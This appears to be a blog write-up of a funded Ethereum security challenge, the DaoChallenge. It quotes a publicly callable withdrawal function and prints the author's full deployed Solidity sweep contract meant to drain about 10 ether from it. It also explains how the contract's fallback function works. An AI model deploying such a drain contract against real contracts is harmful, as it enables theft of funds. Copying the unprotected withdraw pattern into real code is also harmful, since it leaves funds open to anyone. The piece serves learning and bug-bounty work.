Intro: Challenge 1

Sjors Provoost has put up the original challenge with the intent “to hone [his] skills at writing secure smart contract code.” He funded the contract with ~ 9.5 ETH for there to be a real bounty for completing the challenge (i.e. hacking it). The code is simple and doesn’t leave much to imagination, though.

…It even keeps the money if the receiving end is another dapp that does, well, almost anything. That has become “classic” fast, in both theoretical attack vectors, and practical malicious ones.

However, it could also be normal for a well-meaning dapp. These days, it’s a wallet. But say you’re a self-flying postal drone trying to withdraw the client’s tokens to pay for electricity, and doing some accounting in the process. Remember, as a drone you don’t get to send your own transactions, and might as well piggy-back on client-initiated transactions (if you know the token you’re withdrawing uses call() instead of send()).

Vulnerable: Challenge 2

Anyway, Sjors put another challenge up, and funded it with ~ 10 ETH, that should allow for described behaviour. In that, he had this:

DaoChallenge (segment):

// This uses call.value()() rather than send(), but only sends to msg.sender
function withdrawEtherOrThrow(uint256 amount) {
    bool result = msg.sender.call.value(amount)();
    if (!result) {
        throw;
    }
}

In the Ethereum language Solidity, all functions are public by default. public functions can be called by anyone - that is, any account.

The obvious way to sweep this contract would then be to start an Ethereum client, load the contract’s ABI, and call withdrawEtherOrThrow(...) with the desired amount.

The day before I found a possible 50/50 drain vector in Peter Borah’s TokenWithInvariants example; I couldn’t provide code then, since I didn’t know the dapp deployment procedure, and had done zero actual Solidity programming. This time, I decided I’d write a contract to do the sweep. Here it is, in the form it’s been deployed onto the blockchain.

chal2sweep.sol:

contract chal2sweep {
    address chal = 0x08d698358b31ca6926e329879db9525504802abf;
    address noel = 0x1488e30b386903964b2797c97c9a3a678cf28eca;

    // restrict msg.sender
    modifier only_noel { if (msg.sender == noel) _ }
    // don't run recursively
    modifier msg_value_not(uint _amount) {
        if (msg.value != _amount) _
    }

    // could use kill() straight-up, but want to test gas on live chain
    function withdraw(uint _amount) only_noel {
        if (!noel.send(_amount)) throw;
    }

    // should allow withdrawal without gas calc
    function kill() only_noel {
        suicide(noel);
    }
    
    // web3.toWei(10, "ether") == "10000000000000000000"
    function () msg_value_not(10000000000000000000) {
        if (!chal.call("withdrawEtherOrThrow", 10000000000000000000))
            throw;
    }
}

The interesting part is, of course, the fallback function (the nameless one). It should have worked like this:

  1. I send a transaction from account noel with anything but 10 ether attached to it.
  2. chal2sweep makes a call to the vulnerable DaoChallenge method and requests a withdrawal of 10 ether.
  3. DaoChallenge honours the request and sends it to msg.sender, which is again chal2sweep.
  4. That hits the fallback function of chal2sweep again, but since the amount is exactly 10 ether, the body is not executed.

The code is also available in this repo, along with a simple script to do deployment copy-pasting into geth.

Any updates I do to it will be pushed there. Of those, I can immediately think of:

  • being able to change the target address - although this is kind of useless without being able to specify the target’s vulnerable function, and perhaps the amount;
  • using the only_noel modifier instead of msg_value_not(...) - after all, I only want my calls to result in further malicious calls.

Oops

I never got to test if that code works as intended, because someone beat me to it. In particular, I never got to test if chal.call("withdrawEtherOrThrow", 10000000000000000000) is the correct syntax.

It was somewhat disappointing that some schmuck, who probably even wouldn’t share his exploit, beat me to it by less than 30 minutes. (I assumed it was a “schmuck”, since they didn’t come public immediately after - not on Medium, Reddit, or GitHub.)

It turned out, however, that it was Sjors himself. He was working on a new challenge, and remembered he forgot something in the old one.

Fallout

In retrospect, a de-facto bug bounty is much motivation for entry-level people like myself. No one in their right minds would hire us for fixed-salary code audit, but money on the line is good enough for all-or-nothing, learn-as-you-go activities.

I might just fire up a testnet node again to test all my sloppy code. And other folk’s, too.